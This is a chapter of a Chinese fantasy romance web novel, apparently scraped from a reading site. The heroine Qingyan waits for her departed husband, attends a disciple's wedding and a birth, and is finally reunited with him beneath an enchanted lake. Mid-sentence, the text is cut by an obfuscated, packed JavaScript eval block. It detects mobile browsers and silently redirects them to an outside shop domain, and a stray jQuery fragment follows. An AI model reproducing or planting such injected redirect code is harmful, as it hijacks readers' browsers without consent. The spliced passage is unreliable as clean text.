记忆，证明来时路，引照归时途。
失忆偷生与铭记赴死，裴素之毫不犹豫选择了后者。
遇见师父，恩爱四十载，嬷嬷这一趟，没白来。没有记忆，爱能否重新生根发芽，她不愿赌，选了此刻的自己。她多年的煎熬和痛苦突然得到了释放，生命自然归去。
对清晏而言，她何尝不是选择了此生此世的“庄清晏”“褚怀信”——她甚至已经与学宫时期青涩莽撞的“庄清晏”和解。但归墟那个“她”，小神女，她无法接受。
归墟是禁忌。她谢绝了任何神族透露有关她前世今生的一切，毫不在意神女可能的安排和意图。她心里满满当当是陈玄和日子，这一生的分量沉甸甸的，就像他留下的那只金丝楠盒子，里面装满了他的日记。
回扶风镇螺澳村那一夜，正是不灭灯七日七夜燃尽之期。油尽灯枯，她走在回家的路上，身前的灯慢慢喑哑，她失去了感知他仍在身边的明示，堕入了无边的黑夜。
收好不灭灯，她试着用他的眼光去看这个世界。夜是泼了墨的黑，只余一蛇灰线埋伏在脚下，小径两旁的野草野花是白天的点缀，夜间虫鸣低语大可略去不画。海边春日的暖意原是骗人的，入了夜能把人吹成一蓬凌乱的稻草，还寒津津、湿漉漉的，像刚画的图。
夜黑，看不到颜色，脑子里的画面就活跃了起来——他抱着福饼反被啄了一口，福饼被他扔到天上飞了起来；他做了满地的泥娃娃，却逐一投入壶境的池水中化作了塘底泥，但偷藏了一对他和她的小像；他把那星空图补了又补，冬画完又画了幅夏，告诉她这叫斗转星移；他造了大大小小四艘船，清晏点算过，两艘船模已毁、一艘酆都小舟、一艘福船，那双手半点懒都偷不得，他说这叫“纸上得来终觉浅，绝知此事要躬行”；他喜欢吃甜的，福饼不能断供，吃粥有时候还要撒一把粗砂糖；最可笑的是煎鱼，只要他掌勺，鱼和油锅的仇恨必然爆发，完完整整的鱼下锅，最后总是碎成一坨渣……
记忆催着她回家。
转过一片防风麻林，远远地，小屋的轮廓在夜色里浮现。昏黄，微弱，从小窗微微透出来。她的心猛地一跳，几乎要蹦出喉咙。
那是什么？
是灯！窗纸上映着一团暖黄。
她迈开腿跑起来，碎石硌着脚心，她也顾不得了。
进了院子，到了门前，那光更加明亮，确确实实是有人在家的样子。她用灵力撤了铜锁，推开木门，门没闩，吱呀一声开了。她太急了，太欢喜了，动作带起一阵风，门扇呼地双双荡开，屋里那盏油灯立在桌上，火苗被这阵风一扑，斜斜地伏下去，挣扎了两下，终是熄了。
黑暗再度降临。
她扶着门框，被抽去了骨，滑落着瘫坐在门槛上。那一点点光，那份念想，来了又去。
不知坐了多久，狗竟然追来家里了。它扑进她怀里，把这些天的分离之苦呜呜地唱了起来。清晏抱起枇杷，闩上门，摸黑走到桌边，摸索着找到火折子，火苗重新蹿起来。
灯亮过，就算来过。
她知道，他没有离开。
只是她猜不到他会如何回来。
后面的日子，她哪儿也没去，只在家中守候。白日里种菜、绣花，夜里读书、修炼。在人界过上七八天，就去壶境走一趟，看看花草、枇杷树是否改变，再抓紧时间回来等他。
刚入夏，六月初三那天，福船赶着头一阵风回港了。扶风镇的码头等来了第一波归乡的“番客”，客商、亲属、小贩、脚夫、批脚将那几条道路堵得水泄不通。清晏在食肆里吃着一碗卤面，客商寒暄、看货、交易，脚夫卸货、分装、运送，批脚（方言：送信人）收批、吩咐、投递，有人欢喜，有人失落，形形色色的人生百态，她看了一天。
六月初八，晨雾未散，唢呐声已破空而来。晴屿的婚事是她母亲操办的，说媒、合庚、探家风、定亲、送聘，闺阁女儿均不露面，晴屿出海这事没人说就权当她在家，下船不多日婚期便到了。
清晏的贺礼是一方红盖头，红绢为面，绣的是一对鸳鸯，伏于荷叶下，交颈而眠。
“师娘。”晴屿装扮好了，穿红戴绿已立在廊下。“请受晴屿三拜，谢师父赠书之义，谢师娘今日赠帕之情，谢二位救命之恩。”她俯下身去，三拜一丝不苟，额上已见了薄薄的尘泥。“请恕晴屿自作主张，将针书誊抄一卷作了回礼赠予夫家，夫家呈送给沛京得了太后的青眼，才有今日明媒正娶，不必做那如夫人。”
“师父给你的，你拿稳了，在陆家挺直腰板。”清晏将她扶起，她循例哭嫁三声。院门外传来一阵脚步声，是小舅子刘海平领着新郎陆知彰进来了。按规矩他应在前厅等候，哪有新郎直入闺房的道理。清晏手上的盖头不知被谁抢了去，速速盖在了新娘头上。
知彰走到清晏面前，并不去看新娘慌乱的模样，只朝清晏深深一揖。“褚娘子，今日改口师娘。拙荆的恩人，就是在下的恩人。她拜三拜，我也拜三拜。”
他三拜下去，红袍铺在地上，晴屿看得真切，如此妥帖的人，她悬着的心也落了地。
吉时到。婆子端来一碗甜汤圆，浮在红糖水里。晴屿一口吞下一个，求个夫妻团圆、日子甘甜。轿子起来了，唢呐吹得震天响，爆竹炸开，红纸屑在晨风里翻飞，落了满地红妆。
出了刘家大门，轿门中投出一把折扇，“啪叽”一声落在地上。扇，散，俗礼说，掷了扇子便是与娘家的一切告别。从此，刘晴屿要在另一方四角天地做那全新的陆夫人。
同日午后，穗儿家中待产，清晏匆匆赶来，穗儿已痛了多时。“炖了鸡酒，她不肯吃，说吃不下。你帮我劝劝。”汤家婆将碗塞到清晏手中，清晏挑帘进去，只见穗儿发已湿透，笑中带着疲惫。
“他就是那性子，‘有孔无榫，有榫无目’，有本事，但不能全信。”汤竹安的噩耗这几日家里也已消化，他的抽分、抚恤刘船主一个铜板也没少提前送了过来。穗儿扶着床沿，阵痛来袭，她喘了口气，“这臭仔急得很。跟他阿爸真像。”
清晏握住穗儿的手，让她借着点力，她不哭不闹，只是把那力气都推在孩子上。一次不够，再来一次。宫缩暂止，她忽然静下来，低低地开口：“师娘，竹安偷卖师父的图纸，一时糊涂，定然万般悔恨。我定教养好他的儿子，叫他发扬师门，做正人君子。”
“若他愿意，待他长大，师门图纸便传授给他。陈玄的心血也算没有白费。”清晏点头，让她趁着不疼吃口甜鸡蛋。稳婆到了，清晏退出里屋，直等到子夜时分，听得孩子一声啼哭。
清晏用百衲被裹着这新生的男孩，穗儿昏睡着，他们往后的日子，还很长。
清晏突然很想回家，家里那盏灯，不知今天会不会自己亮起。
没有。
黑暗中，她指尖捏着火折子，那三寸光落在了床榻那堆衣服上。
一件件，叠成一摞，是她日日夜夜为他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942484|213955||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缝制的衣裳。夏日的大襟，春秋的袷掛、冬的裘袄，盘发的丝带。可独独那一件被抽取出来，和嬷嬷给她的嫁衣放在一处。
那件男式红长衫不知为何卧于描金床榻中央，叠得棱角分明，像一捧凝固的晚霞被妥帖地收拢起来。
锦面，是她细选的蝙蝠暗纹提花，一丛墨兰攒在右胸襟下。
衣面上横着一支檀木簪，簪头是一片舒展的羽毛。
他，来过！
泪与笑对抗，她没有败给失望。
她的希望有了注脚，等待有了应答。
只是不知他是以何种形式做到了这一切。
朱红长衫静默地躺着，有百福千祥在绸缎的肌理里无声流转，仿佛攒着一场盛大的欢喜。
只待他身影一到，便披将起来——锦面上的蝙蝠就要衔着福气飞起，袖口的兰香就要随着他的动作漾开，而那支羽毛般的簪子，也终将别进他乌黑的发髻里，带着一室檀香，赴那场期待已久的重见。
再等等，等等。快了！
七月初十，镇上放河灯纪念先人。清晏悄悄带走了一盏，放在壶境湖上。河灯漂到湖心时，忽然被什么一撞，颤了颤，歪斜着翻进水里。烛火“嗤”地灭了，灯一点一点地往下沉。她愣了愣，没多想，提起裙摆便踏进湖里——水没过脚踝，没过膝，漫过腰际时，那灯早已沉得不见踪影。脚下的淤泥却猛然一滑，整个人失去重心，被湖水整个吞了下去。
湖底的景色似曾相识，那是试船那一夜，鲸歌掠过的碎银星光、提灯萤蓝，只是没有鱼儿围绕，水草依然是缠着人不放。耳边咕咚的水响和擂鼓般的心跳渐渐隐没，只剩下一种震耳欲聋的死寂。
就在她的意识快要散成碎片的时候，一团温热的红光从背后拢了过来。有什么圈住了她的腰，将她整个人裹进一片妥帖的暖意里。红色光晕从她周身漫开，像一滴朱砂落进墨池，将逼仄的黑暗推开数尺。
她仰起脸，透过那层薄薄的红光向上望去。头顶的湖水不知何时变成了一面倒悬的夜空，碎星密密匝匝地铺满水面，她看得痴了，缓缓抬起手，指尖触向那片星光。一刹那，世界翻转过来，星光倾泻而下，溅成漫地的萤火。朱砂的红、湖水的黛、星光的银褪得干干净净，没有水声，没有风声，连呼吸都像被按下了休止符。
她终于阖上了眼。
再度睁眼时，她已躺在壶境的彼岸花田中。彼岸花高擎的“火炬”迎风摆荡，擦拭着她逐渐清晰的视界——
枇杷树下站着一位红衣男子，背对着她。衣袂被风抚动，衣料流光中隐隐若现的，是她无比熟悉的振翅蝠群。它们如活过来一般，在朱红底子上浮动游走。
他转过身来，给了她一枚轻轻的笑。
她早已泣不成声，偏过头看着枇杷树上青黄相接的果子。
“早着呢，还没到时候。”他对她说。
她的泪已经决堤，“我死了吗？你是来接我的阎王？”这是当时，她说给他的第一句话。她含着泪颤着声又说了一遍。
“抱歉，你死不了。”他笑着，云淡风轻，“我也死不了。”他眼中带泪，缓缓靠近，她嗅到一丝幽微的松枝香，清苦中带着甘甜，丝丝缕缕地渗进那丛丝线绣成的兰花里，也渗进这片浓得化不开的殷红中。
娲皇泥塑身，不灭灯锁魂，丝楠匣藏情。
原来他早就准备好了，只为这一刻久别重逢时——
磨墨濡毫，永不相离。